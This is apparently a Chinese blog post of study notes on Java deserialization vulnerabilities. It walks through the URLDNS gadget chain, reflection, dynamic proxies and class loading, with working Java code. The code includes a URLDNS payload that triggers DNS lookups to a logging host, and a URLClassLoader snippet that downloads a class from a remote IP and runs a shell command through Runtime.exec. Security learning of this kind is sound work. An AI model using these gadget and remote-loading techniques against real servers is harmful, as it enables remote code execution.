前言
作为Java安全方面的盲对Java反序列化各种链方面了解的并不多,但是这些链条又极为重要,有助于更好的理解各种漏洞的产出和原理,因此以下笔记开始从底慢慢学起。
为什么会产生安全问题?
服务器反序列化数据时,客户端传递类的readObject代码会自动执行,给予攻击者在服务器上运行代码的能力
可能的形式
- 入口类readObject直接调用危险方法。
 - 入口类参数包含可控类,该类有危险方法,readObject时调用。
 - 入口类参数中包含可控类,该类又有其它危险方法的类,readObject时调用。
 
满足条件
要实现一个反序列化的攻击,要满足的条件如下:
- 共同条件,继承Serizlizable。
 - 入口类source,重写了readObject方法,类中调用了常见的一些函数,且函数的参数类型是宽泛的,最好是jdk本身自带的。
 - 调用链,不停的调用相同的类型。
 - 执行类sink:即需要有最终执行代码的代码的点
 
简单链分析(URLDNS)
首先介绍一下比较简单又比较符合上文的常见函数HashMap,HashMap最早出现在JDK1.2中,它的参数类型宽泛,几乎能够放入所有的参数类型,同时重写了readObject方法,至于为什么需要重写readObject类,可以大致看一下源码。
    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
 
前面是对一些数据的规范化,应该是确保HashMap里面的数据一致性,后面才是关键,通过for循环,读取出了键值对,然后将键进行了Hash计算又重新放了回去,应该是为了保证Key的Hash唯一性,通过hash方法计算需要执行hashCode()方法,所以HashMap是很符合以上条件的。
其次我们来看一下URL类的,URL类中是存在hashCode()方法的,当HashCode的值不等于-1,就会调用URLStreamHandler方法中的hashCode()方法。
    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
        hashCode = handler.hashCode(this);
        return hashCode;
    }
 
跳到URLStreamHandler方法中的hashCode()方法中,
    protected int hashCode(URL u) {
        int h = 0;
        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();
        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();
        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();
        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();
        return h;
    }
 
函数中获取了协议类型,通过getHostAddress()获取ip地址,因此这里为触发DNS查询,再分别通过hashCode方法进行了hash计算,返回值后通过putVal()方法放入HashMap中。
所以当我们将URL类放入到HashMap中时,因为要计算hash,会触发hashCode()方法,HashCode方法中会调用gethostAddress触发dns查询,就能形成一条简单的利用链。HashMap.readObject()->HashMap.putVal()-> HashMap.hash()->URL.hashCode()。不过这里需要注意HashMap在put的时候,会调用hashCode()方法使得hashCode被缓存即hashCode不为-1,必定会触发一次dns查询,这样就无法判断最终是否是反序列化导致的dns查询,因此这里需要在第一次put的时候通过反射机制将hashCode赋值为不等于-1,在put之后又让hashCode变回-1,确定dns查询是反序列化导致的。
关于反射机制:Java反射技术是指在运行时动态地获取类的信息并操作类的属性、方法和构造函数的一种机制。通过反射,可以在运行时获取类的成员变量、方法、构造函数等信息,并且可以在运行时通过这些信息来调用对象的方法、访问和修改对象的属性。
Java的反射API位于java.lang.reflect包中,主要包括三个核心类:Class、Field和Method。
| 类名 | 作用 | 
|---|---|
| Class类 | 表示一个类或接口,在运行时可以通过它来获取类的构造函数、成员变量、方法等信息 | 
| Field类 | 表示一个类的成员变量,可以通过它来读取和修改对象的属性值 | 
| Method类 | 表示一个类的方法,可以通过它来调用对象的方法 | 
关于反射的一些简单使用如下:
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ReflectionTest {
    public static void main(String [] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        Person person=new Person();
        Class<? extends Person> c=person.getClass(); //Class类可以看成了父类定义,可以通过操作此类对Person类进行操作
        //实例化对象
        Constructor<? extends Person> constructor=c.getConstructor(String.class,int.class);
        Person person1=constructor.newInstance("aiwin",21);
        System.out.println(person1);
        //获取类属性
        Field field=c.getDeclaredField("age"); //用于获取private私有属性
        field.setAccessible(true);
        field.set(person1,22);
        System.out.println(person1);
        //调用类里面的方法
        Method method=c.getMethod("changeAge",int.class);
        method.invoke(person1,23); //触发方法
        System.out.println(person1);
    }
}
 
URLDNS链触发例子:
序列化类:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
    public static  void serialize(Object obj) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
    }
    public static void main(String [] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//        Person person=new Person("aiwin",21);
        HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>();
        URL url=new URL("http://kcovilzouv.dnstunnel.run");
//        hashMap.put(url,1);
//        serialize(person);
        Class<? extends URL> c = url.getClass();
        Field filedhashCode = c.getDeclaredField("hashCode");
        filedhashCode.setAccessible(true); //设置为true可修改私有变量,解除访问修饰符的控制
        filedhashCode.set(url,222); //第一次查询的时候让他不等于-1
        hashMap.put(url,222);
        filedhashCode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
        serialize(hashMap);
    }
}
 
反序列化类:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
    public static Object unserizlize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=objectInputStream.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println(unserizlize("ser.bin"));
    }
}
 
可以发现在序列化的时候确实没触发dns查询,在反序列化的时候触发了dns查询。
 
动态代理
-  
Java动态代理是一种在运行时创建代理类和对象的机制,它可以在不修改源代码的情况下,为目标对象提供额外的功能或逻辑。通过动态代理,可以在方法调用前后做一些通用的处理,如记录日志、性能监测、事务管理等。
 -  
Java动态代理基于接口实现,它利用反射机制来实现动态地创建代理类和代理对象。在运行时,代理类会实现与目标类相同的接口,并且将方法的调用委托给目标对象执行。通过动态代理,我们可以在不修改原有代码的情况下,增强目标对象的功能。
 -  
Java提供了两种动态代理方式:基于接口的动态代理和基于类的动态代理。
 -  
在基于接口的动态代理中,我们需要定义一个实现InvocationHandler接口的代理类,在代理类中实现invoke()方法,该方法会在调用代理对象的方法时被执行。在invoke()方法中,我们可以进行一些前置和后置处理,并调用目标对象的方法。
 -  
在基于类的动态代理中,我们需要使用CGLib库来生成代理类。CGLib是一个强大的高性能字节码生成库,它通过继承目标类,动态生成代理类,从而实现对目标对象的代理。
 -  
使用动态代理可以在不改变源代码的情况下为目标对象添加通用的功能,提高代码的可维护性和灵活性。它在很多框架和库中被广泛应用,如Spring框架的AOP(面向切面编程)功能
 
动态代理在反序列化中的作用:readObject在反序列化中是自动执行的,而invoke在动态代理的函数调用中也是自动执行的,在漏洞利用中,如果当两条链没有实际的显式调用,但是使用了动态代理,可以通过动态代理进行隐式调用拼接两条链,不管前面执行任何方法,最后都会走到invoke()方法中。
动态代理简单例子:
Iuser接口:
package 动态代理;
public interface IUser {
    void show();
}
 
Iuser实现类:
package 动态代理;
public class UserImpl implements IUser{
    public UserImpl(){
    }
    @Override
    public void show() {
        System.out.println("调用了show方法");
    }
}
 
userproxy类:
package 动态代理;
public class UserProxy implements IUser {
    private UserImpl user;
    public void setUser(UserImpl user){
        this.user=user;
    }
    @Override
    public void show() {
        user.show();
        System.out.println("代理展示");
    }
}
 
package 动态代理;
import org.omg.CORBA.portable.InvokeHandler;
import java.lang.reflect.Proxy;
public class main {
    public static void main(String[] args){
        UserImpl user=new UserImpl();
        //静态调用
//        UserProxy userProxy=new UserProxy();
//        userProxy.setUser(user);
//        userProxy.show();
        
        //动态调用,需要的参数为类加载器、接口、触发控制器
        IUser userProxy= (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), new Class<?>[]{IUser.class},new UserInvocationHandler(user));
        userProxy.show();
    }
}
 
invokeHandler类:
package 动态代理;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvocationHandler implements InvocationHandler {
    IUser iUser;
    public UserInvocationHandler(){
    }
    public UserInvocationHandler(IUser iUser){
        this.iUser=iUser;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用了"+method.getName());
        method.invoke(iUser,args);
        return null;
    }
}
 
类加载机制
Java类加载机制是指在Java虚拟机(JVM)中将类的字节码加载到内存,并转换为可执行的Java对象的过程,由三部分组成:加载、连接、初始化。
-  
加载(Loading):加载是指查找字节码文件,并创建一个对应的Class对象的过程。类加载器负责查找类文件,并将其字节码加载到内存中。在加载阶段,JVM需要完成以下动作:
- 查找并加载类的二进制数据。这可以通过本地文件系统、网络等途径来实现。
 - 创建一个代表该类的Class对象,并将其存储在方法区(或称为永久代/元空间)中。
 
 -  
连接(Linking):连接是指将已加载的类与其他类以及它们所使用的符号引用进行关联的过程。连接分为三个阶段:
- 验证(Verification):确保被加载的类的字节码是有效、安全合规的
 - 准备(Preparation):为类的静态变量分配内存空间,并设置默认初始值
 - 解析(Resolution):将类、接口、方法等符号引用解析为直接引用,即具体的内存地址
 
 -  
初始化(Initialization):初始化是指对类的静态变量进行赋值,以及执行静态代码块(static块)的过程。在初始化阶段,JVM会按照顺序执行类的静态语句块和静态变量赋值操作。初始化是类加载过程的最后一步,类的实例化对象和静态方法首次调用都会触发初始化操作。
 
需要注意就是Java的类加载机制是延迟加载的,需要使用某个类的时才会进行加载,使用的是双亲委派模型机制,双亲委派模型简单来说就是当一个类加载器加载类的请求时,会按照一下步骤去加载:
- 检查该类是否已经被加载过,如果是则直接返回已加载的类。
 - 如果类尚未被加载,那么将加载请求委托给父类加载器去加载。
 - 如果父类加载器存在,并且父类加载器能够成功加载该类,则返回父类加载器的加载结果。
 - 如果父类加载器不存在或者父类加载器无法加载该类,那么由当前类加载器加载该类。如果当前类加载器能够成功加载该类,则返回加载结果。
 - 如果当前类加载器无法加载该类,那么抛出ClassNotFoundException异常。
 
这样子类的加载机制可以避免重复加载同一个类,确保类的全局唯一性,一般类的加载机制层级关系为:
 Object->ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoder
类加载与反序列化
上面也说到,类加载的时候会去加载一个Java对象,并执行代码,因此可以通过动态类的加载方法加载任意的类从而实现一些命令执行的效果,以下是部分例子
- 通过URLClassLoader进行任意类的加载,比如使用jar、http、file协议等
 
编写一个Java的命令执行类,编译成class和jar形式
import java.io.IOException;
public class Test {
    public static void rce(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}
 
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL("http://120.79.29.170/test/")}); //jar file http协议都可
        String cmd="calc";
        Class<?> c=urlClassLoader.loadClass("Test");
        c.getMethod("rce",String.class).invoke(null,cmd);
 
- ClassLoader.defineClass字节码加载任意私有类
 
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        Method defindClassMethod=ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defindClassMethod.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
        Class defineclass= (Class) defindClassMethod.invoke(classLoader,"Test",code,0,code.length);
        defineclass.newInstance();
	}
 
- Unsafe.defineClass字节码加载不能直接生成的public类
 
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
        Class c = Unsafe.class;
        Field theUafeField=c.getDeclaredField("theUnsafe");
        theUafeField.setAccessible(true);
        Unsafe unsafe= (Unsafe) theUafeField.get(null);
        Class c2=unsafe.defineClass("Test",code,0,code.length,classLoader,null);
        c2.newInstance();
    }
 
Unsafe类的构造被私有化的,Unsafe类对外只提供一个静态方法来获取当前Unsafe实例,Unsafe是一个底层类,源码中有很多native标签,底层实现代码是C,因此Unsafe类只会被BootstrapClassLoader加载,在调用Unsafe对象时会判断当前加载器是否为空,如果不为空,则为抛出SecurityException异常,这样是为了防止ApplicationCloader去调用Unsafe对象,因此ApplicationCloader要加载UnSafe类需要通过反射获取一个Unsafe对象。
public final class Unsafe {
    private static final Unsafe theUnsafe;
    public static final int INVALID_FIELD_OFFSET = -1;
    public static final int ARRAY_BOOLEAN_BASE_OFFSET;
    public static final int ARRAY_BYTE_BASE_OFFSET;
    public static final int ARRAY_SHORT_BASE_OFFSET;
    public static final int ARRAY_CHAR_BASE_OFFSET;
    public static final int ARRAY_INT_BASE_OFFSET;
    public static final int ARRAY_LONG_BASE_OFFSET;
    public static final int ARRAY_FLOAT_BASE_OFFSET;
    public static final int ARRAY_DOUBLE_BASE_OFFSET;
    public static final int ARRAY_OBJECT_BASE_OFFSET;
    public static final int ARRAY_BOOLEAN_INDEX_SCALE;
    public static final int ARRAY_BYTE_INDEX_SCALE;
    public static final int ARRAY_SHORT_INDEX_SCALE;
    public static final int ARRAY_CHAR_INDEX_SCALE;
    public static final int ARRAY_INT_INDEX_SCALE;
    public static final int ARRAY_LONG_INDEX_SCALE;
    public static final int ARRAY_FLOAT_INDEX_SCALE;
    public static final int ARRAY_DOUBLE_INDEX_SCALE;
    public static final int ARRAY_OBJECT_INDEX_SCALE;
    public static final int ADDRESS_SIZE;
    private static native void registerNatives();
    private Unsafe() {
    }
    @CallerSensitive
    public static Unsafe getUnsafe() {
        Class var0 = Reflection.getCallerClass();
        if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
            throw new SecurityException("Unsafe");
        } else {
            return theUnsafe;
        }
    }
 
总结
持续学习更新。


















![[谦实思纪 01]整理自2023雷军年度演讲——《成长》(上篇)武大回忆(梦想与成长)](https://img-blog.csdnimg.cn/0ece266de6a94137b466730b640ddede.jpeg#pic_center)
